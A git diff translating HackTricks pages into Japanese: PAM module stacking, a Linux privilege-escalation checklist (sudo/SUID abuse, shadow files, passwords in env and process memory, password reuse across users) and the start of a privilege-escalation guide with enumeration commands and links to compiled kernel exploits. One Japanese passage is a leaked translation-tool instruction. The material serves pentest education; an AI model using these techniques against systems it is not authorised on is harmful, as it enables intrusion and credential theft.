**required**:「required」モジュールが「成功」でないステータスを返す場合、**操作は常に失敗します**が、その後に**下位のモジュールが呼び出されます**。初めて見ると無意味に思えるかもしれませんが、これはサービスを利用しようとするユーザーの視点からは常に同じ方法で動作することを目的としています。その結果、潜在的なクラッカーが**どのモジュール**が**失敗**の原因であるかを**特定することが不可能**になります。 +* **requisite**:「requisite」モジュールが失敗すると、**操作は失敗し、他のモジュールは呼び出されずに即座に終了**します。 +* **sufficient**:**sufficient**モジュールが**成功すると、その領域の十分なモジュールの要件を満たすのに十分です**。また、その下にリストされている「sufficient」としても指定されているモジュールは呼び出されません。**失敗すると、後続のモジュールが成功しても操作は失敗します**。 +* **optional**:「optional」モジュールは、pam\(8\)マニュアルによれば、その施設のスタック内で唯一のモジュールである場合にのみ、操作が失敗することになります。 -* **required**: If a ‘required’ module returns a status that is **not ‘success’**, the **operation will ultimately fail ALWAYS**, but only after the **modules below it are invoked**. This seems senseless at first glance I suppose, but it serves the purpose of **always acting the same way from the point of view of the user** trying to utilize the service. The net effect is that it becomes **impossible** for a potential cracker to **determine** **which** **module** caused the **failure**. -* **requisite**: If a ‘requisite’ module fails, the **operation** not only **fails**, but the operation is **immediately** **terminated** with a failure without invoking any other modules. -* **sufficient**: If a **sufficient** module **succeeds**, it is enough to satisfy the requirements of sufficient modules in that realm for use of the service, and **modules below it that are also listed as ‘sufficient’ are not invoked**. **If it fails, the operation fails unless a module invoked after it succeeds**. -* **optional**: An ''optional’ module, according to the pam\(8\) manpage, **will only cause an operation to fail if it’s the only module in the stack for that facility**. - -## Example - -In our example file, we have four modules stacked for the auth realm: +## 例 +例のファイルでは、auth領域に4つのモジュールがスタックされています: ```text auth required /lib/security/pam_securetty.so auth required /lib/security/pam_env.so auth sufficient /lib/security/pam_ldap.so auth required /lib/security/pam_unix.so try_first_pass ``` +モジュールは順番に呼び出されるため、次のようなことが起こります: -As the modules are invoked in order, here is what will happen: +1. '**pam_securetty**'モジュールは、その設定ファイルである**`/etc/securetty`**をチェックし、ログインに使用されている端末がファイルにリストされているかどうかを確認します。もしリストにない場合、rootログインは許可されません。もし「悪い」端末でrootとしてログインしようとすると、このモジュールは失敗します。このモジュールは「必須」であるため、スタック内のすべてのモジュールを呼び出します。しかし、それらのすべてが成功しても、ログインは失敗します。興味深いことに、もしモジュールが「必須」ではなく「必要」としてリストされている場合、操作は失敗として即座に終了し、他のモジュールのステータスに関係なく、呼び出されません。 -1. The ‘**pam\_securetty**’ module will check its config file, **`/etc/securetty`**, and see if the terminal being used for this login is listed in the file. If **it’s not, root logins will not be permitted**. If you try to log in as root on a ‘bad’ terminal, this module will fail. Since it’s ‘required’, it will still invoke all of the modules in the stack. However, even if every one of them succeeds, the login will fail. Interesting to note is that if the module were listed as ‘requisite’, the operation would terminate with a failure immediately, without invoking any of the other modules, no matter what their status. -2. The ‘**pam\_env**’ module will s**et environment variables** based on what the administrator has set up in /etc/security/pam\_env.conf. On a default setup of Redhat 9, Fedora Core 1, and Mandrake 9.2, the configuration file for this module doesn’t actually set any variables. A good use for this might be automatically setting a DISPLAY environment variable for a user logging in via SSH so they don’t have to set it themselves if they want to shoot an ‘xterm’ back to their remote desktop \(though this can be taken care of by OpenSSH automagically\). -3. The ‘**pam\_ldap**’ module will **prompt** the user for a **password**, and then check the ldap directory indicated in **`/etc/ldap.conf`** to authenticate the user. If this fails, the operation can still succeed if ‘pam\_unix’ succeeds in authenticating the user. If pam\_ldap succeeds, ‘pam\_unix’ will not be invoked. -4. The ‘**pam\_unix**’ module, in this case, will **not prompt the user for a password**. The ‘try\_first\_pass’ argument will tell the module to **use the password given to it by the preceding module** \(in this case, pam\_ldap\). It will try to authenticate the user using the standard getpw\* system calls. If pam\_unix fails, and pam\_ldap has failed, the operation will fail. If pam\_ldap fails, but pam\_unix succeeds, the operation will succeed \(this is extremely helpful in cases where root is not in the ldap directory, but is still in the local /etc/passwd file!\). - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
+2. '**pam_env**'モジュールは、管理者が**`/etc/security/pam_env.conf`**で設定した内容に基づいて環境変数を設定します。Redhat 9、Fedora Core 1、およびMandrake 9.2のデフォルト設定では、このモジュールの設定ファイルは実際には変数を設定しません。SSH経由でログインするユーザーにDISPLAY環境変数を自動的に設定するのに役立ちます(ただし、これはOpenSSHが自動的に処理することもできます)。 +3. '**pam_ldap**'モジュールは、ユーザーに**パスワードを入力**してから、**`/etc/ldap.conf`**で指定されたldapディレクトリを認証するために使用されます。これが失敗した場合、操作は「pam_unix」がユーザーを認証することに成功した場合にも成功する可能性があります。pam_ldapが成功した場合、pam_unixは呼び出されません。 +4. '**pam_unix**'モジュールは、この場合、ユーザーにパスワードを入力させません。'try_first_pass'引数は、モジュールに対して前のモジュール(この場合はpam_ldap)から与えられたパスワードを使用するように指示します。標準のgetpw\*システムコールを使用してユーザーを認証しようとします。pam_unixが失敗し、pam_ldapも失敗した場合、操作は失敗します。pam_ldapが失敗したが、pam_unixが成功した場合、操作は成功します(これは、rootがldapディレクトリに存在しないが、ローカルの/etc/passwdファイルには存在する場合に非常に役立ちます!)。 diff --git a/linux-hardening/linux-privilege-escalation-checklist.md b/linux-hardening/linux-privilege-escalation-checklist.md index 590395407..a8be5c572 100644 --- a/linux-hardening/linux-privilege-escalation-checklist.md +++ b/linux-hardening/linux-privilege-escalation-checklist.md @@ -1,183 +1,177 @@ -# Checklist - Linux Privilege Escalation +# チェックリスト - Linux特権エスカレーション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).​ +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有する**ために、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう** -🐞 Read web3 bug tutorials +🐞 web3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグバウンティについて通知を受ける -💬 Participate in community discussions +💬 コミュニティディスカッションに参加する -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Linuxローカル特権エスカレーションのベストツール:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) -### [System Information](privilege-escalation/#system-information) +### [システム情報](privilege-escalation/#system-information) -* [ ] Get **OS information** -* [ ] Check the [**PATH**](privilege-escalation/#path), any **writable folder**? -* [ ] Check [**env variables**](privilege-escalation/#env-info), any sensitive detail? -* [ ] Search for [**kernel exploits**](privilege-escalation/#kernel-exploits) **using scripts** (DirtyCow?) -* [ ] **Check** if the [**sudo version** is vulnerable](privilege-escalation/#sudo-version) -* [ ] [**Dmesg** signature verification failed](privilege-escalation/#dmesg-signature-verification-failed) -* [ ] More system enum ([date, system stats, cpu info, printers](privilege-escalation/#more-system-enumeration)) -* [ ] [Enumerate more defenses](privilege-escalation/#enumerate-possible-defenses) +* [ ] **OS情報を取得する** +* [ ] [**PATH**](privilege-escalation/#path)をチェックする、**書き込み可能なフォルダ**はありますか? +* [ ] [**環境変数**](privilege-escalation/#env-info)をチェックする、**機密情報**はありますか? +* [ ] スクリプトを使用して[**カーネルの脆弱性**](privilege-escalation/#kernel-exploits)を検索する(DirtyCowなど)。 +* [ ] [**sudoのバージョン**が脆弱性を持っているかどうかをチェックする](privilege-escalation/#sudo-version) +* [ ] [**Dmesg**の署名検証に失敗しました](privilege-escalation/#dmesg-signature-verification-failed) +* [ ] システムの列挙(日付、システム統計、CPU情報、プリンターなど)をさらに行う(privilege-escalation/#more-system-enumeration) +* [ ] [より多くの防御策を列挙する](privilege-escalation/#enumerate-possible-defenses) -### [Drives](privilege-escalation/#drives) +### [ドライブ](privilege-escalation/#drives) -* [ ] **List mounted** drives -* [ ] **Any unmounted drive?** -* [ ] **Any creds in fstab?** +* [ ] マウントされたドライブをリストアップする +* [ ] マウントされていないドライブはありますか? +* [ ] fstabにクレデンシャルはありますか? -### [**Installed Software**](privilege-escalation/#installed-software) +### [**インストールされたソフトウェア**](privilege-escalation/#installed-software) -* [ ] **Check for**[ **useful software**](privilege-escalation/#useful-software) **installed** -* [ ] **Check for** [**vulnerable software**](privilege-escalation/#vulnerable-software-installed) **installed** +* [ ] [**有用なソフトウェア**](privilege-escalation/#useful-software)がインストールされているかどうかをチェックする +* [ ] [**脆弱なソフトウェア**](privilege-escalation/#vulnerable-software-installed)がインストールされているかどうかをチェックする -### [Processes](privilege-escalation/#processes) +### [プロセス](privilege-escalation/#processes) -* [ ] Is any **unknown software running**? -* [ ] Is any software running with **more privileges than it should have**? -* [ ] Search for **exploits of running processes** (especially the version running). -* [ ] Can you **modify the binary** of any running process? -* [ ] **Monitor processes** and check if any interesting process is running frequently. -* [ ] Can you **read** some interesting **process memory** (where passwords could be saved)? +* [ ] **不明なソフトウェアが実行されていますか**? +* [ ] **必要以上の権限で実行されているソフトウェア**はありますか? +* [ ] 実行中のプロセスの**脆弱性**を検索する(特に実行中のバージョン)。 +* [ ] 実行中のプロセスのバイナリを**変更**できますか? +* [ ] プロセスを**監視**し、頻繁に実行されている興味深いプロセスがあるかどうかをチェックする。 +* [ ] 興味深いプロセスのメモリ(パスワードが保存されている可能性のある場所)を**読み取る**ことができますか? -### [Scheduled/Cron jobs?](privilege-escalation/#scheduled-jobs) +### [スケジュールされた/Cronジョブ?](privilege-escalation/#scheduled-jobs) -* [ ] Is the [**PATH** ](privilege-escalation/#cron-path)being modified by some cron and you can **write** in it? -* [ ] Any [**wildcard** ](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)in a cron job? -* [ ] Some [**modifiable script** ](privilege-escalation/#cron-script-overwriting-and-symlink)is being **executed** or is inside **modifiable folder**? -* [ ] Have you detected that some **script** could be or are being [**executed** very **frequently**](privilege-escalation/#frequent-cron-jobs)? (every 1, 2 or 5 minutes) +* [ ] cronによって[**PATH** ](privilege-escalation/#cron-path)が変更され、書き込みができますか? +* [ ] cronジョブに[**ワイルドカード** ](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)がありますか? +* [ ] 実行されている**変更可能なスクリプト**または**変更可能なフォルダ**にありますか? +* [ ] いくつかのスクリプトが非常に頻繁に実行されていることが検出されましたか?(1分、2分、または5分ごと) -### [Services](privilege-escalation/#services) +### [サービス](privilege-escalation/#services) -* [ ] Any **writable .service** file? -* [ ] Any **writable binary** executed by a **service**? -* [ ] Any **writable folder in systemd PATH**? +* [ ] **書き込み可能な.service**ファイルはありますか? +* [ ] **サービス**によって実行される**書き込み可能なバイナリ**はありますか? +* [ ] systemd PATHに**書き込み可能なフォルダ**はありますか? -### [Timers](privilege-escalation/#timers) +### [タイマー](privilege-escalation/#timers) -* [ ] Any **writable timer**? +* [ ] **書き込み可能なタイマー**はありますか? -### [Sockets](privilege-escalation/#sockets) - -* [ ] Any **writable .socket** file? -* [ ] Can you **communicate with any socket**? -* [ ] **HTTP sockets** with interesting info? +### [ソケット](privilege-escalation/#sockets) +* [ ] **書き込み可能な.socket**ファイルはありますか? +* [ ] 任意のソケットと**通信**できますか? +* [ ] おもしろい情報が含まれる**HTTPソケット**はありますか? ### [D-Bus](privilege-escalation/#d-bus) -* [ ] Can you **communicate with any D-Bus**? +* [ ] どのD-Busとも**通信できますか**? -### [Network](privilege-escalation/#network) +### [ネットワーク](privilege-escalation/#network) -* [ ] Enumerate the network to know where you are -* [ ] **Open ports you couldn't access before** getting a shell inside the machine? -* [ ] Can you **sniff traffic** using `tcpdump`? +* [ ] 自分がどこにいるかを知るためにネットワークを列挙します +* [ ] **シェルを取得する前にアクセスできなかったポート**を開けますか? +* [ ] `tcpdump`を使用してトラフィックを**スニフィング**できますか? -### [Users](privilege-escalation/#users) +### [ユーザー](privilege-escalation/#users) -* [ ] Generic users/groups **enumeration** -* [ ] Do you have a **very big UID**? Is the **machine** **vulnerable**? -* [ ] Can you [**escalate privileges thanks to a group**](privilege-escalation/interesting-groups-linux-pe/) you belong to? -* [ ] **Clipboard** data? -* [ ] Password Policy? -* [ ] Try to **use** every **known password** that you have discovered previously to login **with each** possible **user**. Try to login also without a password. +* [ ] 一般的なユーザー/グループの**列挙** +* [ ] **非常に大きなUID**を持っていますか?**マシン**は**脆弱**ですか? +* [ ] 所属しているグループを利用して特権を**エスカレーション**できますか?([**Linux特権エスカレーションの興味深いグループ**](privilege-escalation/interesting-groups-linux-pe/)) +* [ ] **クリップボード**のデータ? +* [ ] パスワードポリシー? +* [ ] 以前に発見した**すべての既知のパスワード**を使用して、**各**可能な**ユーザー**でログインしようとしてみてください。パスワードなしでもログインしてみてください。 -### [Writable PATH](privilege-escalation/#writable-path-abuses) +### [書き込み可能なPATH](privilege-escalation/#writable-path-abuses) -* [ ] If you have **write privileges over some folder in PATH** you may be able to escalate privileges +* [ ] PATH内の**いくつかのフォルダに書き込み権限**がある場合、特権をエスカレーションできるかもしれません -### [SUDO and SUID commands](privilege-escalation/#sudo-and-suid) +### [SUDOとSUIDコマンド](privilege-escalation/#sudo-and-suid) -* [ ] Can you execute **any command with sudo**? Can you use it to READ, WRITE or EXECUTE anything as root? ([**GTFOBins**](https://gtfobins.github.io)) -* [ ] Is any **exploitable SUID binary**? ([**GTFOBins**](https://gtfobins.github.io)) -* [ ] Are [**sudo** commands **limited** by **path**? can you **bypass** the restrictions](privilege-escalation/#sudo-execution-bypassing-paths)? -* [ ] [**Sudo/SUID binary without path indicated**](privilege-escalation/#sudo-command-suid-binary-without-command-path)? -* [ ] [**SUID binary specifying path**](privilege-escalation/#suid-binary-with-command-path)? Bypass -* [ ] [**LD\_PRELOAD vuln**](privilege-escalation/#ld\_preload) -* [ ] [**Lack of .so library in SUID binary**](privilege-escalation/#suid-binary-so-injection) from a writable folder? -* [ ] [**SUDO tokens available**](privilege-escalation/#reusing-sudo-tokens)? [**Can you create a SUDO token**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)? -* [ ] Can you [**read or modify sudoers files**](privilege-escalation/#etc-sudoers-etc-sudoers-d)? -* [ ] Can you [**modify /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)? -* [ ] [**OpenBSD DOAS**](privilege-escalation/#doas) command +* [ ] **sudoで任意のコマンドを実行**できますか?それを使用してrootとして何かを**読み取り、書き込み、実行**できますか?([**GTFOBins**](https://gtfobins.github.io)) +* [ ] **悪用可能なSUIDバイナリ**はありますか?([**GTFOBins**](https://gtfobins.github.io)) +* [ ] [**sudoコマンドがパスで制限**されていますか?制限を**バイパス**できますか](privilege-escalation/#sudo-execution-bypassing-paths)? +* [ ] [**パスが指定されていないSUDO/SUIDバイナリ**](privilege-escalation/#sudo-command-suid-binary-without-command-path)? +* [ ] [**パスが指定されたSUIDバイナリ**](privilege-escalation/#suid-binary-with-command-path)? バイパス +* [ ] [**LD\_PRELOADの脆弱性**](privilege-escalation/#ld\_preload) +* [ ] 書き込み可能なフォルダからの**SUIDバイナリに.soライブラリがない**([**GTFOBins**](https://gtfobins.github.io))? +* [ ] [**SUDOトークンが利用可能**](privilege-escalation/#reusing-sudo-tokens)ですか?[**SUDOトークンを作成**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)できますか? +* [ ] [**sudoersファイルを読み取るか変更**](privilege-escalation/#etc-sudoers-etc-sudoers-d)できますか? +* [ ] [**/etc/ld.so.conf.d/**を**変更**](privilege-escalation/#etc-ld-so-conf-d)できますか? +* [ ] [**OpenBSD DOAS**](privilege-escalation/#doas)コマンド -### [Capabilities](privilege-escalation/#capabilities) +### [機能](privilege-escalation/#capabilities) -* [ ] Has any binary any **unexpected capability**? +* [ ] どのバイナリにも**予期しない機能**がありますか? -### [ACLs](privilege-escalation/#acls) +### [ACL](privilege-escalation/#acls) -* [ ] Has any file any **unexpected ACL**? +* [ ] どのファイルにも**予期しないACL**がありますか? -### [Open Shell sessions](privilege-escalation/#open-shell-sessions) +### [オープンシェルセッション](privilege-escalation/#open-shell-sessions) * [ ] **screen** * [ ] **tmux** ### [SSH](privilege-escalation/#ssh) -* [ ] **Debian** [**OpenSSL Predictable PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166) -* [ ] [**SSH Interesting configuration values**](privilege-escalation/#ssh-interesting-configuration-values) +* [ ] **Debian**の[**OpenSSL予測可能なPRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166) +* [ ] [**SSHの興味深い設定値**](privilege-escalation/#ssh-interesting-configuration-values) -### [Interesting Files](privilege-escalation/#interesting-files) +### [興味深いファイル](privilege-escalation/#interesting-files) -* [ ] **Profile files** - Read sensitive data? Write to privesc? -* [ ] **passwd/shadow files** - Read sensitive data? Write to privesc? -* [ ] **Check commonly interesting folders** for sensitive data -* [ ] **Weird Location/Owned files,** you may have access to or alter executable files -* [ ] **Modified** in last mins -* [ ] **Sqlite DB files** -* [ ] **Hidden files** -* [ ] **Script/Binaries in PATH** -* [ ] **Web files** (passwords?) -* [ ] **Backups**? -* [ ] **Known files that contains passwords**: Use **Linpeas** and **LaZagne** -* [ ] **Generic search** +* [ ] **プロファイルファイル** - 機密データを読み取る?特権エスカレーションに書き込む? +* [ ] **passwd/shadowファイル** - 機密データを読み取る?特権エスカレーションに書き込む? +* [ ] 機密データが含まれる可能性のある**一般的に興味深いフォルダ**をチェックします +* [ ] **奇妙な場所/所有ファイル**、アクセスまたは実行可能なファイルを変更できるかもしれません +* [ ] 最後の数分で**変更**されましたか +* [ ] **Sqlite DBファイル** +* [ ] **隠しファイル** +* [ ] **PATH内のスクリプト/バイナリ** +* [ ] **Webファイル**(パスワード?) +* [ ] **バックアップ**? +* [ ] パスワードを含む**既知のファイル**:**Linpeas**と**LaZagne**を使用します +* [ ] **一般的な検索** -### [**Writable Files**](privilege-escalation/#writable-files) +### [**書き込み可能なファイル**](privilege-escalation/#writable-files) -* [ ] **Modify python library** to execute arbitrary commands? -* [ ] Can you **modify log files**? **Logtotten** exploit -* [ ] Can you **modify /etc/sysconfig/network-scripts/**? Centos/Redhat exploit -* [ ] Can you [**write in ini, int.d, systemd or rc.d files**](privilege-escalation/#init-init-d-systemd-and-rc-d)? +* [ ] **Pythonライブラリ**を変更して任意のコマンドを実行できますか? +* [ ] **ログファイル**を変更できますか?**Logtotten**の脆弱性 +* [ ] **/etc/sysconfig/network-scripts/**を変更できますか?Centos/Redhatの脆弱性 +* [ ] ini、int.d、systemd、またはrc.dファイルに**書き込み**できますか? -### [**Other tricks**](privilege-escalation/#other-tricks) +### [**その他のトリック**](privilege-escalation/#other-tricks) -* [ ] Can you [**abuse NFS to escalate privileges**](privilege-escalation/#nfs-privilege-escalation)? -* [ ] Do you need to [**escape from a restrictive shell**](privilege-escalation/#escaping-from-restricted-shells)? +* [ ] 特権をエスカレーションするために**NFSを悪用**できますか? +* [ ] 制限のあるシェルから**脱出**する必要がありますか?
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう** -🐞 Read web3 bug tutorials +🐞 web3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグバウンティについて通知を受ける -💬 Participate in community discussions +💬 コミュニティディスカッションに参加する
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - +* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlo
diff --git a/linux-hardening/privilege-escalation/README.md b/linux-hardening/privilege-escalation/README.md index 1acf8ee6a..72286b882 100644 --- a/linux-hardening/privilege-escalation/README.md +++ b/linux-hardening/privilege-escalation/README.md @@ -1,76 +1,69 @@ -# Linux Privilege Escalation +# Linux特権エスカレーション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## System Information +## システム情報 -### OS info - -Let's start gaining some knowledge of the OS running +### OS情報 +まず、実行しているOSの情報を知ることから始めましょう。 ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` +### パス -### Path - -If you **have write permissions on any folder inside the `PATH`** variable you may be able to hijack some libraries or binaries: - +もし`PATH`変数内のどのフォルダに対しても**書き込み権限**を持っている場合、いくつかのライブラリやバイナリを乗っ取ることができるかもしれません。 ```bash echo $PATH ``` +### 環境情報 -### Env info - -Interesting information, passwords or API keys in the environment variables? - +環境変数において、興味深い情報、パスワード、またはAPIキーはありますか? ```bash (env || set) 2>/dev/null ``` +### カーネルのエクスプロイト -### Kernel exploits - -Check the kernel version and if there is some exploit that can be used to escalate privileges - +カーネルのバージョンを確認し、特権を昇格させるために使用できるエクスプロイトがあるかどうかをチェックします。 ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` +以下は、ハッキング技術に関する本の内容です。以下の内容は、/hive/hacktricks/linux-hardening/privilege-escalation/README.md ファイルからのものです。関連する英文を日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を正確に保ちます。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、ペンテスト、およびマークダウンタグなどのものは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加の内容は追加しないでください。 -You can find a good vulnerable kernel list and some already **compiled exploits** here: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ -Other sites where you can find some **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) - -To extract all the vulnerable kernel versions from that web you can do: +```markdown +あなたはここで良い脆弱なカーネルのリストと、すでに**コンパイルされたエクスプロイト**を見つけることができます: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) と [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)。 +他のサイトでいくつかの**コンパイルされたエクスプロイト**を見つけることができます: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +そのウェブからすべての脆弱なカーネルバージョンを抽出するには、次のようにします: +``` ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` - -Tools that could help to search for kernel exploits are: +カーネルの脆弱性を検索するのに役立つツールは次のとおりです: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) 